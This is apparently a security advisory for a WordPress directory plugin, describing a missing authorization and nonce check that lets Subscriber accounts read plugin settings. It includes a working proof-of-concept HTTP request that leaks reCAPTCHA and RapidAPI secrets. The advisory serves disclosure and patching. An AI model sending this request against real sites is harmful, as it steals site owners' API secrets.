WP Directory Kit < 1.5.5 – Subscriber+ Plugin Settings and API Key Disclosure | CVE 2026-16594

Description

The plugin does not perform authorization or nonce checks on one of its authenticated AJAX actions, allowing any authenticated user such as a Subscriber to disclose the plugin settings including sensitive API keys and secrets.

Proof of Concept

Prerequisite: a Subscriber account, and the site has one or more API keys configured on the plugin settings page (normal for a directory using reCAPTCHA or Google Maps).

As the Subscriber, POST to admin-ajax.php with an intentionally invalid settings field so the nonce-guarded save branch is skipped and the handler falls through to rendering the settings page:

POST /wp-admin/admin-ajax.php
Cookie: <wordpress_logged_in cookie for a Subscriber account>
Content-Type: application/x-www-form-urlencoded

action=wdk_admin_action&page=wdk_settings&function=index&wdk_slug_listing_preview_page=BAD SLUG!!

Result: HTTP 200 with the full settings-page HTML. The plugin's secrets appear in input value attributes, including the reCAPTCHA v2 and v3 secret keys and the RapidAPI key.